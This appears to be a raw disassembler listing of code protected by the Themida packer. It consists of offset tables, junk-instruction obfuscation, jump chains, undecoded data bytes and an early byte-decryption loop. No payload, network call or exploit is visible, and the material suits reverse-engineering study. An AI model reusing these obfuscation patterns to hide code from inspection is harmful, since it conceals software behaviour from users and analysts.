dd offset byte_5655FD
dd offset dword_55EA44
dd offset byte_566687
dd offset byte_556A49
dd offset byte_5568E3
dd offset word_55FF26
dd offset byte_55C62F
dd offset off_5652CF
dd offset word_558DE2
dd offset byte_5647C3
dd offset word_557572
dd offset word_552FEA
dd offset byte_565A09
dd offset dword_55DC3C
dd offset byte_55D3D3
dd offset byte_561019
dd offset word_5600A2
dd offset word_55C246
dd offset dword_567900
dd offset byte_56036F
dd offset word_56605E
dd offset dword_552D9C
dd offset aM0Hjv ; "╛0ьh╕V"
dd offset dword_55F9A0
dd offset byte_55CD4B
dd offset byte_55CBB9
dd offset dword_5592B8
dd offset byte_55D2A9
dd offset byte_55B521
dd offset byte_5583DB
dd offset byte_563EAB
dd offset dword_55722C
dd offset byte_5555AD
dd offset dword_55EC24
dd offset word_5579A2
dd offset byte_55B99B
dd offset byte_562A21
dd offset word_553116
dd offset byte_567B59
dd offset byte_5604A1
dd offset word_55F76E
dd offset byte_55A0EF
dd offset word_55B122
dd offset word_55AC2A
dd offset dword_55862C
dd offset byte_56239B
dd offset byte_55BD49
dd offset word_55D432
dd offset byte_56061D
dd offset word_5592EE
dd offset aMhW ; "╛h╫W"
dd offset byte_564837
dd offset byte_556CC7
dd offset word_55EA22
dd offset byte_564CC3
dd offset word_560A12
dd offset dword_562D88
dd offset dword_557D4C
dd offset word_563D6E
dd offset byte_5593E5
dd offset byte_565897
dd offset byte_564A79
dd offset byte_561AAF
dd offset dword_557250
dd offset byte_5542C9
dd offset byte_5581B1
dd offset byte_557A1F
dd offset word_55B83E
dd offset dword_5555B8
dd offset dword_55F838
dd offset byte_553341
dd offset word_564696
dd offset dword_5661CC
dd offset word_567056
dd offset word_556DCE
dd offset word_55E06A
dd offset word_556336
dd offset dword_55CBF8
dd offset word_55BB1E
dd offset byte_55DC6B
dd offset aNwhu ; "╜WhН\b"
dd offset byte_554443
dd offset off_5584A6
dd offset dword_5672AC
dd offset dword_556BC8
dd offset byte_565F43
dd offset word_5580A2
dd offset byte_56542F
dd offset dword_568228
dd offset byte_559C9F
dd offset byte_561EEB
dd offset word_55770A
dd offset dword_562964
dd offset word_564706
dd offset dword_55B570
dd offset byte_55402D
dd offset word_55D0C6
dd offset byte_563317
dd offset word_564456
dd offset byte_563883
dd offset byte_557727
dd offset byte_55DD89
dd offset dword_557BCC
dd offset word_55AD32
dd offset byte_554403
dd offset word_556802
dd offset word_55BE8A
dd offset byte_55611D
dd offset byte_561E7F
dd offset word_561DF6
dd offset dword_563924
dd offset dword_55314C
dd offset dword_562EE0
dd offset dword_559F34
dd offset byte_563E8F
dd offset byte_556D29
dd offset byte_564EE7
dd offset dword_55C9E4
dd offset dword_55F534
dd offset byte_5680C1
dd offset word_55450E
dd offset byte_5603E7
dd offset byte_565745
dd offset byte_566675
dd offset byte_55932B
dd offset byte_555465
dd offset byte_562BFD
dd offset byte_55904D
dd offset word_566076
dd offset byte_557EB1
dd offset byte_55B4AB
dd offset byte_55BC17
dd offset aM0H? ; "╛0ьh?,"
dd offset dword_553718
dd offset dword_55C648
dd offset byte_553E43
dd offset byte_55F027
dd offset aHs ; "hS;"
dd offset word_563C2A
dd offset byte_55C86B
dd offset word_566C62
dd offset byte_565F61
dd offset word_55BE1A
dd offset byte_564729
dd offset dword_560030
dd offset byte_56384D
dd offset dword_562B1C
dd offset word_55EF16
dd offset byte_561BB9
dd offset word_559362
dd offset dword_56610C
dd offset byte_563F41
dd offset word_55819A
dd offset word_554CBE
dd offset byte_564D97
dd offset byte_55AAE1
dd offset word_554EE2
dd offset dword_559A8C
dd offset byte_556C13
; ---------------------------------------------------------------------------
loc_552B74: ; CODE XREF: Themida_:005A1801j
pusha
pushf
cld
call $+5
pop edi
sub edi, 93645AEh
mov eax, edi
add edi, 93642C6h
cmp eax, [edi+2Ch]
jnz short loc_552B92
jmp short loc_552BA5
; ---------------------------------------------------------------------------
loc_552B92: ; CODE XREF: Themida_:00552B8Ej
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_552BA1
; ---------------------------------------------------------------------------
loc_552B9C: ; CODE XREF: Themida_:00552BA3j
add [edi+ecx*4+40h], eax
dec ecx
loc_552BA1: ; CODE XREF: Themida_:00552B9Aj
or ecx, ecx
jnz short loc_552B9C
loc_552BA5: ; CODE XREF: Themida_:00552B90j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_552BB2: ; CODE XREF: Themida_:00552BB9j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_552BB2
loc_552BBB: ; CODE XREF: Themida_:005532A6j
; Themida_:00553B9Ej ...
lodsb
sub esp, 4
mov [esp], ebx
mov bh, 31h
shl bh, 3
add bh, 0A6h
add al, bh
mov ebx, [esp]
add esp, 4
add al, 28h
push ecx
mov cl, 0C3h
add cl, 7Dh
sub al, cl
pop ecx
add al, 6Fh
add al, bl
sub al, 6Fh
add al, 40h
sub esp, 4
mov [esp], ecx
mov cl, 0F4h
push bx
mov bh, 0CCh
push eax
mov ah, 9Eh
xor ah, 55h
not ah
sub ah, 4
add cl, ah
pop eax
add cl, 0D1h
sub cl, bh
jmp loc_557210
; ---------------------------------------------------------------------------
db 8Bh
dd 54562414h, 4C6815Eh, 81000000h, 4C6h, 74FF5600h, 8F5E0424h
dd 248B2404h, 0ACE95524h
db 42h, 1, 0
; ---------------------------------------------------------------------------
loc_552C33: ; CODE XREF: Themida_:00566D16j
sub edx, ebp
mov ebp, [esp]
add esp, 4
add ebx, edx
pop edx
add edx, ebx
mov ebx, [esp]
add esp, 4
xchg edx, [esp]
pop esp
push esi
push 5D1120B9h
mov esi, [esp]
add esp, 4
shr esi, 6
shl esi, 8
push 3B7Ch
mov [esp], eax
jmp loc_5637E8
; ---------------------------------------------------------------------------
dd 0E3E95650h, 8F00001Eh, 0FE5C2404h, 0E99C240Ch, 0FFFFFF3Bh
dd 0FD2D9545h, 1106F9Fh, 0DFEAE9C3h, 34FF0000h, 0E9505B24h
dd 111B3h
; ---------------------------------------------------------------------------
loc_552C98: ; CODE XREF: Themida_:00565721j
push esi
push ecx
push 29090DB3h
pop ecx
mov esi, 414125B0h
xor esi, ecx
pop ecx
jmp loc_558706
; ---------------------------------------------------------------------------
db 89h, 0E2h, 81h
dd 4C2h, 4EA8300h, 5C241487h, 11A9DE9h, 0E1895100h, 4BB53h
dd 0C1810000h, 5017059Ch, 3410C181h, 0D9011BC8h, 70A6BA52h
dd 0CA8119BBh, 1E062693h, 148FC281h, 0F2815599h, 9EE2357h
dd 0BEFE281h, 0A7E91555h, 0B900001Fh, 19C26714h, 23D5E9h
dd 24043300h, 33240431h, 248B2404h, 9CC13824h, 154BFE9h
dd 34FF5C00h, 0C4815A24h, 4, 8B66D800h, 8157241Ch, 4ECh
dd 24248900h, 4240483h, 4C7815Fh, 0E9000000h, 26C9h, 11345125h
dd 2DD8F725h, 0EF75D8D3h, 704CC181h, 0C1296B39h, 76BFBA52h
dd 0EA813A14h, 0CEDB0673h, 585AD129h, 0C181F129h, 0C89231Ch
dd 8324348Bh, 67E904C4h
db 11h, 1, 0
; ---------------------------------------------------------------------------
loc_552D7B: ; CODE XREF: Themida_:00563633j
mov ebp, 0AFE5E80h
xor ebp, edi
mov edi, [esp]
jmp loc_55FAB5
; ---------------------------------------------------------------------------
dw 2C87h
dd 8B665C24h, 1868240Ch, 0E9000019h, 10676h
dword_552D9C dd 8B2434FFh, 0E6E92404h ; DATA XREF: Themida_:0055294Co
db 0F2h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552DA7: ; CODE XREF: Themida_:005677F4j
push 5C54h
mov [esp], esi
push edi
mov edi, 76CB1888h
jmp loc_55C10F
; ---------------------------------------------------------------------------
loc_552DBA: ; CODE XREF: Themida_:0056210Fj
add esp, 4
push ebp
mov ebp, 4
add edi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_554B35
; ---------------------------------------------------------------------------
dw 0C681h
dd 0D0D23B62h, 14317E9h, 241C8900h, 0D36FE9h
db 0
; ---------------------------------------------------------------------------
loc_552DE9: ; CODE XREF: Themida_:005552C1j
push ebx
xor dword ptr [esp], 7DF92716h
pop esi
jmp loc_55A744
; ---------------------------------------------------------------------------
loc_552DF7: ; CODE XREF: Themida_:005662C5j
mov esi, 5AAC47AFh
jmp loc_563295
; ---------------------------------------------------------------------------
loc_552E01: ; CODE XREF: Themida_:0055C66Ej
pop edx
add edx, 4
push esi
mov esi, 395E760Dh
jmp loc_562C33
; ---------------------------------------------------------------------------
db 5
dd 0A6B66F84h, 48BC201h, 4C48124h, 55000000h, 0A428E954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552E2A: ; CODE XREF: Themida_:00561F84j
sub esp, 4
mov [esp], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_55AD4B
; ---------------------------------------------------------------------------
db 51h
dd 3DFBE9h, 2C48100h, 0
aXqNaSasussv db 'аXQ╠N─а≤─ИUИS╒',0
align 10h
aZ4Se db '┤4$И╔]',0
align 4
dd 5CF5E955h, 22350000h, 517AD246h, 290BE9h, 4C48100h
dd 1000000h, 0B9E95DEAh, 0FF00009Eh, 835E2434h, 0B95104C4h
dd 5E7824A5h, 60E9CB01h, 5300005Eh, 0A978E4BBh, 5BDA2914h
dd 215AE9h, 0BA525700h, 7B57223Fh, 7701CA81h, 0F28174B0h
dd 1902636Ah, 0B9DFE9h
db 0
; ---------------------------------------------------------------------------
loc_552EC1: ; CODE XREF: Themida_:0055CBA4j
push esi
push 65022204h
push dword ptr [esp]
pop esi
add esp, 4
sub esi, 31D90FC3h
push 1FCEh
mov [esp], esi
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_55CA9F
; ---------------------------------------------------------------------------
loc_552EEA: ; CODE XREF: Themida_:00565CD5j
pop edx
sub esp, 4
mov [esp], ecx
push edx
mov edx, 0DA36EF1h
dec edx
sub esp, 4
jmp loc_55F7AD
; ---------------------------------------------------------------------------
db 59h
dd 0AE98141h, 51F41ED5h, 0A17FE9h, 0D8295900h, 0E9D8F75Bh
dd 5CC8h, 4C1815Bh, 81000000h, 4ECh, 240C8900h, 0F6FEE9h
dd 0CE68100h, 687FA207h, 1A23h, 0BF243C89h, 22265C21h
dd 26B9E9h, 24148900h, 9B75F7BAh, 87C28167h, 554A7E5Eh
dd 0D004E8BDh, 5DEA2152h, 0F896E9h, 7E7C100h, 68h, 7517E900h
dd 24890000h, 24048124h, 4, 14598E9h
db 0
; ---------------------------------------------------------------------------
loc_552F81: ; CODE XREF: Themida_:005621F5j
mov esp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
jmp loc_568178
; ---------------------------------------------------------------------------
dw 0EE31h
dd 58E9815Dh, 297D8E52h, 58C181F1h, 8B7D8E52h, 0C4832434h
dd 240C3304h, 11D40E9h
db 0
; ---------------------------------------------------------------------------
loc_552FB9: ; CODE XREF: Themida_:00567379j
sub ebp, 11066006h
jmp loc_5567E6
; ---------------------------------------------------------------------------
loc_552FC4: ; CODE XREF: Themida_:00558F3Fj
add edx, esi
pop esi
add edi, edx
jmp loc_55D3FF
; ---------------------------------------------------------------------------
loc_552FCE: ; CODE XREF: Themida_:0055FCB8j
mov esi, 13335CD6h
jmp loc_559C57
; ---------------------------------------------------------------------------
dd 4C48158h, 31000000h, 0EC835EF0h, 1643E904h
db 1, 0
word_552FEA dw 77FFh ; DATA XREF: Themida_:00552924o
dd 58669D1Ch, 24041166h, 0FBC1E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552FFA: ; CODE XREF: Themida_:0055CC2Cj
dec ebp
jmp loc_561E29
; ---------------------------------------------------------------------------
dd 0E9525155h, 0C006h, 205h, 24048700h, 0D5E4E9h, 26800h
dd 2C8B0000h, 4C48124h, 0E9000000h, 0A720h, 4BF5759h, 1000000h
dd 0E6D6E9FBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553036: ; CODE XREF: Themida_:0055D96Aj
xor eax, 36CD2B52h
shl eax, 8
add eax, 9B61E504h
jmp loc_55A289
; ---------------------------------------------------------------------------
dd 24148966h, 0E99C5066h, 0FFFFFB67h, 5C240C87h, 15CE6856h
dd 24890000h, 24048124h, 4, 4C6815Eh, 53000000h, 0F23BEBBBh
dd 71CB8149h, 0E903DB65h, 0DF91h, 0F294E981h, 0CE292268h
dd 0BDC68159h, 811A464Dh, 0BE5498C6h, 0CEE8169h, 0E9458634h
dd 13EC0h, 0FB7FDE35h, 0BCED815Fh, 1351720h, 0BCC581C5h
dd 58351720h, 7702E9h
db 0
; ---------------------------------------------------------------------------
loc_5530B9: ; CODE XREF: Themida_:0055E8F7j
mov ecx, 3B51190Ah
add ebp, 7E59698Eh
add ebp, ecx
sub ebp, 7E59698Eh
pop ecx
add ebp, esi
jmp loc_5531EB
; ---------------------------------------------------------------------------
dd 0CD31E931h, 8A20F581h, 0E801B400h, 83242C8Bh, 40504C4h
dd 0E9000000h, 1318Eh, 5224048Bh, 0C281E289h, 4, 8704C283h
dd 0E95C2414h, 14A14h, 0C681E689h, 4, 0ACE9E955h
db 2 dup(0)
word_553116 dw 8B66h ; DATA XREF: Themida_:0055298Co
dd 0EC812404h, 4, 2F9FE9h, 243C8900h, 42474FFh, 68243C8Bh
dd 4D8Fh, 54243C89h, 81243C8Bh, 4C4h, 4C78100h, 0E9000000h
dd 3437h
dword_55314C dd 1C8868h, 24148900h, 927FDBAh, 81EAD158h, 744C43C2h
; DATA XREF: Themida_:00552AB4o
dd 4EC8317h, 0BF243C89h, 3B4F1141h, 3C8BFA09h, 4C48124h
dd 50000000h, 233D04B8h, 6E8C159h, 7856E9h, 912C00h, 2C9104D0h
dd 0EC815A3Ah, 4, 51241C89h, 5366A9B1h, 0CC885052h, 0E9E78853h
dd 13240h
; ---------------------------------------------------------------------------
loc_5531A8: ; CODE XREF: Themida_:0056253Fj
add esp, 4
jmp loc_554503
; ---------------------------------------------------------------------------
dd 226AC781h, 0BE93D5Ch
db 14h, 1, 0
; ---------------------------------------------------------------------------
loc_5531BB: ; CODE XREF: Themida_:00565A55j
add esp, 4
push edi
push esi
jmp loc_55839F
; ---------------------------------------------------------------------------
dd 42474FFh, 8324048Bh, 3C8904ECh, 4484E924h, 0E95F0000h
dd 0DA19h, 8904EC83h, 0EFE9240Ch
db 6Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5531EB: ; CODE XREF: Themida_:005530CFj
sub ebp, 3B51190Ah
jmp loc_55EB11
; ---------------------------------------------------------------------------
dw 0D101h
dd 389AE9h, 24348700h, 240C895Ch, 6DFB6853h, 0C15B6837h
dd 0F38108EBh, 0ABB17BAh, 685BD989h, 49DFh, 0B8240489h
dd 2A5D4475h, 187FE9h
db 0
; ---------------------------------------------------------------------------
loc_553229: ; CODE XREF: Themida_:00557E35j
add esp, 4
jmp loc_55FB38
; ---------------------------------------------------------------------------
db 1, 0F0h, 8Bh
dd 7DE92434h
db 29h, 1, 0
; ---------------------------------------------------------------------------
loc_55323B: ; CODE XREF: Themida_:00553D54j
mov esp, [esp]
xor al, 33h
jmp loc_56312F
; ---------------------------------------------------------------------------
loc_553245: ; CODE XREF: Themida_:00561504j
mov [esp], ecx
mov ecx, esp
jmp loc_55B88D
; ---------------------------------------------------------------------------
loc_55324F: ; CODE XREF: Themida_:00554D16j
xchg edi, [esp]
pop esp
jmp loc_5546DA
; ---------------------------------------------------------------------------
loc_553258: ; CODE XREF: Themida_:00557FF9j
mov ebp, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55F373
; ---------------------------------------------------------------------------
db 0E9h, 51h, 0F9h
dd 0EE29FFFFh, 0E92434FFh, 0D146h, 0AE47D2BAh, 538FE927h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55327E: ; CODE XREF: Themida_:00553B03j
pop ebx
pop ecx
mov ecx, eax
pop eax
sub edx, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add edx, eax
push ebx
mov ebx, 0A7D4D6Ah
add edx, ebx
pop ebx
jmp loc_552BBB
; ---------------------------------------------------------------------------
db 5Fh
dd 0DAFBF681h, 0DDE944F5h, 2900013Bh, 76382DD0h, 0E95A33A0h
dd 0A532h, 0F8F1E958h
db 2 dup(0FFh)
word_5532CA dw 30ACh ; DATA XREF: Themida_:005528E8o
dd 4EC83D8h, 0B1240C89h, 12CEE9D5h, 0C5810000h, 4, 5C242C87h
dd 0E9C88950h, 26C6h
; ---------------------------------------------------------------------------
loc_5532EC: ; CODE XREF: Themida_:005638F7j
push edx
mov edx, 4
add ecx, edx
pop edx
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_559CAA
; ---------------------------------------------------------------------------
loc_553309: ; CODE XREF: Themida_:00565E5Ej
push eax
mov eax, 0DA2EE60h
mov esi, eax
pop eax
jmp loc_561E02
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832414h, 4C48104h, 0C1000000h, 0EA8105E2h, 767E7B12h
dd 134DE9h, 81D72900h, 941A81C7h, 2434FF07h, 99F0E9h
db 0
byte_553341 db 66h, 8Bh, 24h ; DATA XREF: Themida_:00552A10o
dd 0F871E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55334A: ; CODE XREF: Themida_:005542E9j
push 60ACh
mov [esp], ecx
push 1000000h
push dword ptr [esp]
mov ecx, [esp]
jmp loc_5592E8
; ---------------------------------------------------------------------------
loc_553362: ; CODE XREF: Themida_:00561885j
add esp, 4
push 2132h
jmp loc_563435
; ---------------------------------------------------------------------------
db 66h
dd 0F590C281h, 0E9D30166h, 1319Eh, 0E9F8005Ah, 7FB4h
; ---------------------------------------------------------------------------
loc_553384: ; CODE XREF: Themida_:0055BB3Fj
add ebp, esi
add ebp, 74A13BDFh
jmp loc_5566C8
; ---------------------------------------------------------------------------
loc_553391: ; CODE XREF: Themida_:0055BEFDj
xor dl, 1
add bh, dl
mov edx, [esp]
jmp loc_557BF5
; ---------------------------------------------------------------------------
dw 0DEF7h
aBScS2l db '│фу',0Ah
db 'АC)нИ2L',0
dd 5EF38900h, 10405E9h, 7BB95100h, 296F5B42h, 240C8BCFh
dd 4C481h, 348B0000h, 4C48324h, 0EAEBE951h, 0F75F0000h
dd 0DB5635D8h, 0C329CF32h, 0B817E9h, 43E18000h, 300DE9h
db 0
; ---------------------------------------------------------------------------
loc_5533E9: ; CODE XREF: Themida_:00555B43j
and eax, 34D87474h
push esi
mov esi, 267A5561h
xor eax, esi
pop esi
jmp loc_5619B3
; ---------------------------------------------------------------------------
dd 0E0C0D0F6h, 0E91D0C05h, 9F7Fh, 0E9240489h, 5905h, 1AFCC681h
dd 1C8B2939h, 4C48124h, 33000000h, 34312434h, 9A12E924h
dd 0BD550000h, 4, 875DEA01h, 0E95C2414h, 0DB2Ch, 0E8285A66h
dd 116E9h
db 0
; ---------------------------------------------------------------------------
loc_553445: ; CODE XREF: Themida_:0055D707j
pop edi
jmp loc_55F45F
; ---------------------------------------------------------------------------
db 4Eh
dd 26DCCE81h, 0EED15C82h, 7C9EBA52h, 0EAC1735Fh, 0B5EA8102h
dd 11233D9h, 1208E9D6h, 0C8B0001h, 0E9545224h, 463Bh, 0CDBDE95Fh
dd 0E9510000h, 0E4BEh
; ---------------------------------------------------------------------------
loc_553480: ; CODE XREF: Themida_:005638E2j
push esi
mov esi, 156709F8h
mov eax, esi
pop esi
jmp loc_567C3C
; ---------------------------------------------------------------------------
dw 815Fh
dd 0F0042444h, 17C6309h, 8104245Ch, 0F004246Ch, 8B7C6309h
db 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
mov ebp, [esp]
jmp loc_55E6A4
; ---------------------------------------------------------------------------
dd 0FF240C89h, 59042474h, 8B24048Fh, 0CFE92424h
db 45h, 2 dup(0)
aM0Hjv db '╛0ьh╕V',0 ; DATA XREF: Themida_:00552950o
dw 8900h
dd 2368241Ch, 8900005Bh, 5250240Ch, 0C6FEB9B6h, 5104E6C0h
dd 0E58027B5h, 0CACD809Fh, 0E952D5F6h, 10216h
; ---------------------------------------------------------------------------
loc_553504: ; CODE XREF: Themida_:0055D78Bj
mov edi, esp
jmp loc_566BA9
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 42F78100h, 117742Dh, 243C8BF9h, 4C481h, 7DE90000h
dd 810000B4h, 0A4792BE5h, 7E5C148h, 26F581h, 26E982E1h
dd 8B000094h, 0C483242Ch, 0E7895704h, 4C781h, 86E90000h
dd 560000C9h, 0E260E9h
db 0
; ---------------------------------------------------------------------------
loc_553555: ; CODE XREF: Themida_:00562B3Bj
inc ebx
jmp loc_55F15B
; ---------------------------------------------------------------------------
db 59h
dd offset dword_4EF14C+71Ch
dd 240C8900h, 203DE9h
db 0
; ---------------------------------------------------------------------------
loc_553569: ; CODE XREF: Themida_:0055969Ej
pop esi
xor esi, 222441CFh
xchg edx, esi
add edx, 0FFFFFFFFh
jmp loc_55C1DA
; ---------------------------------------------------------------------------
loc_55357D: ; CODE XREF: Themida_:00556DF3j
mov [esp], ebx
mov ebx, 0
add ebx, eax
push ecx
jmp loc_5589FA
; ---------------------------------------------------------------------------
db 59h, 50h, 0B8h
dd 16A34681h, 5583BB53h, 0D8291BCCh, 4EC835Bh, 906BE9h
dd 2474FF00h, 0DF9E904h, 0EC830001h, 24048904h, 1CB8h
dd 8BC38900h, 83532404h, 248904ECh, 24048124h, 4, 4BD555Bh
dd 1000000h, 242C8BEBh, 4C481h, 0C3810000h, 4, 0E719E9h
dd 0F7D58700h, 0A53CE9D2h, 248B0000h, 0EC835624h, 243C8904h
dd 89D88950h, 2434FFC7h, 4EC8158h, 89000000h, 0E789243Ch
dd 4C781h, 0C7810000h, 4, 5C243C87h, 3C8BFE89h, 0E0895024h
dd 405h, 3E886800h, 34890000h, 0D7685224h, 5A6D8D5Bh, 0A42DC281h
dd 0D6899272h, 0E92434FFh, 51C3h
; ---------------------------------------------------------------------------
loc_55364C: ; CODE XREF: Themida_:00563290j
xor eax, edx
pop edx
jmp loc_556837
; ---------------------------------------------------------------------------
loc_553654: ; CODE XREF: Themida_:005647FCj
mov eax, esp
jmp loc_553A17
; ---------------------------------------------------------------------------
loc_55365B: ; CODE XREF: Themida_:005635C3j
xor eax, ecx
push 1DACh
mov [esp], eax
jmp loc_563EDA
; ---------------------------------------------------------------------------
dw 8B66h
dd 6851240Ch, 4E21h, 0E9242489h, 561Bh
; ---------------------------------------------------------------------------
loc_55367C: ; CODE XREF: Themida_:0055CC80j
sub esp, 4
jmp loc_55E23D
; ---------------------------------------------------------------------------
loc_553687: ; CODE XREF: Themida_:00566305j
mov eax, [esp]
push ebp
push esp
pop ebp
jmp loc_563498
; ---------------------------------------------------------------------------
dw 0F381h
dd 48510A42h, 74765B05h, 7B32D22h, 0D801218Bh, 8B07B305h
dd 765B2D21h, 1C8B2274h, 4C48324h, 31240433h, 4332404h
dd 24248B24h, 9C2404D3h, 0FFF4F2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5536C9: ; CODE XREF: Themida_:00560906j
pop edx
push esi
push ebp
mov ebp, 4CBB1536h
jmp loc_564787
; ---------------------------------------------------------------------------
dw 0CD81h
dd 39445285h, 8105E5C1h, 51A864C5h, 0B4C281C0h, 177AF47h
dd 0B4EA81EAh, 0E977AF47h, 1878h, 2606C381h, 0CEE9078Dh
dd 5A00009Eh, 0C07FE180h, 0E98005E9h, 59CB00C8h, 0E9C0B60Fh
dd 0D085h
dword_553718 dd 2B60F66h, 4EC81h, 0D5E90000h ; DATA XREF: Themida_:00552B0Co
db 6Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553727: ; CODE XREF: Themida_:0055BB61j
xchg ebp, [esp]
jmp loc_564801
; ---------------------------------------------------------------------------
loc_55372F: ; CODE XREF: Themida_:0055E0E5j
add edi, ebx
sub edi, 42E84D77h
mov ebx, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
jmp loc_555757
; ---------------------------------------------------------------------------
db 33h
dd 7DE9240Ch, 8300003Ch, 3C8702C7h, 24248B24h, 8904EC83h
dd 0DCE9240Ch, 81000076h, 0C6020CF2h, 8BD00100h, 89512414h
dd 4A63E9E1h, 0CB810001h, 64B33055h, 111EB81h, 7FE92AD0h
db 39h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55378B: ; CODE XREF: Themida_:00555C95j
push ebp
mov ebp, 727C279Bh
and ebp, 5C145EECh
not ebp
neg ebp
add ebp, 0B66DFB16h
sub ebx, ebp
pop ebp
add ebx, 37714215h
jmp loc_556646
; ---------------------------------------------------------------------------
db 0C1h
dd 0EFC106EFh, 8E7C104h, 85EAEF81h, 0FE31E680h, 81243C8Bh
dd 4C4h, 3EEC100h, 135D8E9h
db 0
; ---------------------------------------------------------------------------
loc_5537D1: ; CODE XREF: Themida_:00565D26j
pop ebp
pop dword ptr [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 21ECh
mov [esp], ecx
push esp
pop ecx
jmp loc_55CE1F
; ---------------------------------------------------------------------------
loc_5537EE: ; CODE XREF: Themida_:00556DE4j
shr eax, 0Bh
xor ecx, eax
jmp loc_558CEE
; ---------------------------------------------------------------------------
loc_5537F8: ; CODE XREF: Themida_:00567A95j
mov [esp], edi
push ebx
push ecx
mov ecx, 82E57DDh
mov ebx, ecx
pop ecx
mov edi, ebx
pop ebx
mov esi, edi
pop edi
push edi
mov edi, 65923259h
jmp loc_55AC8D
; ---------------------------------------------------------------------------
dw 0C89h
dd 1875B924h, 21E941F0h, 0B3000083h, 0E9DC882Eh, 1196Eh
dd 4BEh, 4126E900h, 0C1830000h, 4255E904h, 0D0280000h
dd 8B66E504h, 0C4832414h, 5F376802h, 0C890000h, 0E94AB524h
dd 0E92Eh
; ---------------------------------------------------------------------------
loc_553858: ; CODE XREF: Themida_:0055FF8Bj
neg dl
add dl, 0C3h
mov bl, dl
mov edx, [esp]
add esp, 4
xor bl, 14h
push ecx
push edx
mov dh, bl
push eax
mov ah, dh
mov ch, ah
pop eax
pop edx
mov dl, ch
pop ecx
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_5629FA
; ---------------------------------------------------------------------------
loc_553887: ; CODE XREF: Themida_:0055CCDEj
add eax, 4
jmp loc_56790F
; ---------------------------------------------------------------------------
db 31h, 34h, 24h
dd 5C243433h, 0F66E9F6h, 9368CCB6h, 89000058h, 0F5E9240Ch
db 14h, 1, 0
; ---------------------------------------------------------------------------
loc_5538AB: ; CODE XREF: Themida_:0055637Bj
pop ecx
add edx, 8B10C510h
jmp loc_564FB6
; ---------------------------------------------------------------------------
db 35h
dd 386E5382h, 0D08E0C1h, 74F41E17h, 76729C25h, 55042D64h
dd 0C5295D47h, 0E9DD0158h, 1E87h
; ---------------------------------------------------------------------------
loc_5538D8: ; CODE XREF: Themida_:005574E0j
mov [esp], ebx
xor dword ptr [esp], 56F269C5h
mov eax, [esp]
push edx
sub esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_55EE4C
; ---------------------------------------------------------------------------
db 83h
dd 0EC8304C4h, 241C8904h, 4B951h, 0E9560000h, 0F2D9h, 0FFF2A6E9h
dd 0FA895DFFh, 64C6815Fh, 1504646h, 64EE81D6h, 5A504646h
dd 38C1E94Eh, 4BB0001h, 81000000h, 0D26943C6h, 81DE0138h
dd 0D26943EEh, 2434FF38h, 5B2434FFh, 125C68h, 24348900h
dd 0C681E689h, 4, 8704C683h, 835C2434h, 0C8904ECh, 50E18924h
dd 4B8h, 8BC10100h, 0C4832404h, 0F5F9E904h, 835D0000h
dd 895204C4h, 4C281E2h, 81000000h, 4EAh, 24148700h, 2404895Ch
dd 2B8h, 0B7BB5300h, 81346676h, 6357C8F3h, 53F38174h, 5705782Ah
dd 0C66D5DBFh, 0FFC7833Fh, 0DC73E9h, 30D6B900h, 0CE312052h
dd 0AB6DE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5539C6: ; CODE XREF: Themida_:00563EF5j
mov ebx, [esp]
jmp loc_5616D4
; ---------------------------------------------------------------------------
dw 0C15Bh
dd 575003EDh, 7A30B951h, 7BBF0482h, 0E9083290h, 0F73h
dd 8BEA0158h, 0C483242Ch, 39B36804h, 0C890000h, 4EC8124h
dd 0E9000000h, 10C7h, 5C240C87h, 0C8EEEF81h, 0FD891465h
dd 51243C8Bh, 0A5E9E189h
db 64h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553A17: ; CODE XREF: Themida_:00553656j
push edx
mov edx, 4
add eax, edx
jmp loc_558BBF
; ---------------------------------------------------------------------------
dd 2635352Dh, 52C8010Eh, 263535BAh, 1E2FE90Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553A36: ; CODE XREF: Themida_:00555CE3j
mov esi, 6BDD7A8Eh
jmp loc_55B913
; ---------------------------------------------------------------------------
loc_553A40: ; CODE XREF: Themida_:0055C844j
pop edx
push 72D7h
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push 14DFh
mov [esp], edi
mov edi, 4
add ecx, edi
mov edi, [esp]
jmp loc_55BBF3
; ---------------------------------------------------------------------------
loc_553A68: ; CODE XREF: Themida_:0056018Bj
push ebx
mov ebx, 780F79B4h
mov ebp, ebx
pop ebx
push 0E68h
mov [esp], ebx
push esi
mov esi, 2C1C196Dh
push ebp
mov ebp, 61C53D42h
jmp loc_558A85
; ---------------------------------------------------------------------------
loc_553A8A: ; CODE XREF: Themida_:005639C6j
mov ebp, esp
push eax
